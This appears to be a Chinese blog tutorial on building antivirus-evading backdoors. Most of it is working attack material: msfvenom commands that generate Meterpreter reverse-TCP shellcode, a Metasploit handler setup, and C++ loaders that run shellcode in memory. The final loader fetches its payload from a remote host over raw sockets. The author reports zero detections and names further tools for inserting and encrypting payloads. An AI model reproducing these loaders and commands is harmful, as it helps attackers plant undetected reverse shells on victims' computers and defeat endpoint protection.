反病毒解決方案用于檢測惡意檔案,并且通常使用靜态分析技術來區分二進制檔案的好壞。如果是惡意檔案本身包含惡意内容(ShellCode),那麼依靠靜态分析技術會非常有效,但如果攻擊者使用輕量級的stager來代替下載下傳并将代碼加載到記憶體中,會發生什麼?事實證明這樣做可以繞過大多數殺軟的清除。
雖然這種繞過方法并不是新鮮技術,但繞過反病毒軟體對于大多數後門來說都是必要的,在這篇文章中,我們将使用virscan作為我們的檢測工具,并使用Metasploit生成一些反向的ShellCode作為我們的攻擊載荷。通過使用virscan雲鑒定技術,可以衡量出Payload的是否免殺,但需要注意的是,隻有動态檢測或基于行為的檢測,才能真正捕獲到現實世界中的Payload。
首先我們使用 msfvenom 指令建立一個具有反向連接配接Shell的可執行檔案,生成指令(Linux)如下:
[root@localhost ~]# msfvenom –p windows/meterpreter/reverse_tcp \
> lhost=192.168.1.30 lport=8888 \
> -f exe -o lyshark.exe
上方的代碼就可以生成一個lyshark.exe的可執行檔案,将此檔案上傳到VirusTotal,發現它會被大量反病毒引擎所清除,這是正常的,因為它是一個常見的Payload,許多安全廠商都會針對Metasploit進行特征碼的提取與清除。
嵌入式 Shellcode
通過上方的方式生成後門檔案是不可取的,因為大多數反病毒廠商都掌握了Metasploit可執行模闆的簽名,是以我們決定建立自己的可執行檔案,然後手動實作 ShellCode的加載工作。我們再次使用 msfvenom 指令,但在這次隻生成 ShellCode,而不是完整的可執行檔案:
[root@localhost ~]# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.30 LPORT=8888 -f c
上方代碼會生成一個Payload有效載荷,這裡我們需要記下來,然後将ShellCode複制到一個單獨的C++源檔案中,然後編譯生成一個可執行檔案。
#include <Windows.h>
#include <stdio.h>
using namespace std;
int main(int argc,char **argv){
char ShellCode[] = "\0x0x0x0x0x0x0x......"; // ShellCode 填充到這裡。
void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
return 0;
}
生成成功後,我們将攻擊主機運作一個監聽事件,然後打開生成後的後門,然後發現能夠成功上線。
[root@localhost ~]# msfconsole
msf5 >
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit -j -z
但是這種方式也是會直接被檢測到,原因是ShellCode已經被加入了特征,接下來我們将通過遠端的方式加載ShellCode代碼,讓惡意代碼與加載器分離。

遠端加載 Shellcode
上方的掃描結果依然會報毒,原因就是ShellCode已經被捕捉了特征,這裡我們将動态加載ShellCode。它不是使用已編寫到二進制檔案中的ShellCode編譯可執行檔案,而是在運作時動态擷取ShellCode代碼,并将其動态的加載到記憶體中執行,進而做到ShellCode與加載器的分離,減少誤報的機率。
#include <Windows.h>
#include <iostream>
#include <string>
#include <cstring>
#include <winhttp.h>
#include <stdlib.h>
#pragma comment(lib,"winhttp.lib")
using namespace std;
LPSTR get_shellcode(){
return 0;
}
int main(int argc,char **argv){
LPSTR hex_instructions = get_shellcode();
const char* ShellCode = hex_instructions;
int shellcode_length = strlen(ShellCode);
unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));
for (size_t count = 0; count < shellcode_length / 2; count++){
sscanf(ShellCode, "%2hhx", &value[count]);
ShellCode += 2;
}
void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, value, shellcode_length /2 );
((void(*)())exec)();
return 0;
}
上方代碼中建立了一個名為get_shellcode()函數,用于從另一台主機遠端下載下傳前面示例中使用的ShellCode。該函數使用winhttp庫中的各種方法,通過HTTP的方式檢索ShellCode。此外,當從遠端位置以ASCII格式加載ShellCode時,需要執行額外步驟,要将指令轉換為準備執行的原始二進制格式,這裡的get_shellcode()并沒有填充完整。
本次殺毒,你會發現誤報全部消失了,因為在可執行檔案中并沒有惡意的ShellCode,并且也沒有添加任何的下載下傳函數,但如果添加了下載下傳函數,此種方法生成的後門依然會存在誤報。
替代檔案下載下傳功能
盡管我們已經分離除了程式中的 ShellCode代碼,但有些防毒軟體仍然會報毒。為了獲得0命中率,我們要思考,在這一過程遺漏了什麼 ?
我們需要重新思考,首先要确定代碼的哪個部分導緻了告警。從直覺上,懷疑是函數 VirtualAlloc 和 memcpy 導緻反病毒引擎認為該檔案是可疑的,因為這些函數通常被用于記憶體注入。但是很多程式都會在記憶體中配置設定空間,是以這種猜測本身就是不正确的,實際上HTTP請求調用的函數可以獲得遠端托管的ShellCode,進而導緻可疑的結果。通常我們會使用的函數是:
WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpQueryDataAvailable
WinHttpReadData
WinHttpCloseHandle
但是這些函數,很容易就被殺軟盯上,但幸運的是,Windows 提供了許多不同的庫,可用于下載下傳資料,例如WinInet,WinHTTP和Windows套接字。通過切換到更加手動的基于套接字的實作 ,如果使用這些第三方庫或使用系統自帶的下載下傳指令,則任何防病毒引擎都不再将下載下傳代碼标記為可疑。
void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
SOCKET connectToServer(char *szServerName, WORD portNum);
int getHeaderLength(char *content);
char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);
然後将其與先前示範的shellcode加載過程相結合。
#include <windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <cstring>
using std::string;
#pragma comment(lib,"ws2_32.lib")
HINSTANCE hInst;
WSADATA wsaData;
void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
SOCKET connectToServer(char *szServerName, WORD portNum);
int getHeaderLength(char *content);
char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);
int main(){
const int bufLen = 1024;
char *szUrl = "lyshark.com/shellcode";
long fileSize;
char *memBuffer, *headerBuffer;
FILE *fp;
memBuffer = headerBuffer = NULL;
if (WSAStartup(0x101, &wsaData) != 0){
return -1;
}
memBuffer = readUrl2(szUrl, fileSize, &headerBuffer);
if (fileSize != 0)
{
fp = fopen("down.file", "wb");
fwrite(memBuffer, 1, fileSize, fp);
fclose(fp);
delete(headerBuffer);
}
int code_length = strlen(memBuffer);
unsigned char* value = (unsigned char*)calloc(code_length / 2, sizeof(unsigned char));
for (size_t count=0; count < code_length / 2; count++){
sscanf(memBuffer, "%2hhx", &value[count]);
memBuffer += 2;
}
void *exec = VirtualAlloc(0, code_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, value, code_length / 2);
((void(*)())exec)();
WSACleanup();
return 0;
}
最終的有效負載成功地向偵聽主機發送了反向shell,更重要的是,VirScan上的檢測率為零,本文所采取的步驟,展示了如何通過一些簡單的修改,來使Payload繞過殺軟的清除。然而,我們還可以選擇許多其他選項,包括:
- 在已知合法的二進制檔案中插入Payload(https://github.com/secretsquirrel/the-backdoor-factory)。
- 使用Veil(https://github.com/Veil-Framework/Veil)進行Payload的編碼和加密。
- 使用其他語言,例如:PowerShell、Python、Ruby、C#、Java、Go等。
參考文獻:https://countercept.com/blog/dynamic-shellcode-execution
文章出處:https://www.cnblogs.com/LyShark/p/11335999.html
版權聲明:本部落格文章與代碼均為學習時整理的筆記,部落格中除去明确标注有參考文獻的文章,其他文章
[均為原創]作品,轉載請
[添加出處],您添加出處是我創作的動力!
如果您惡意轉載本人文章并被本人發現,則您的整站文章,将會變為我的原創作品,請互相尊重 !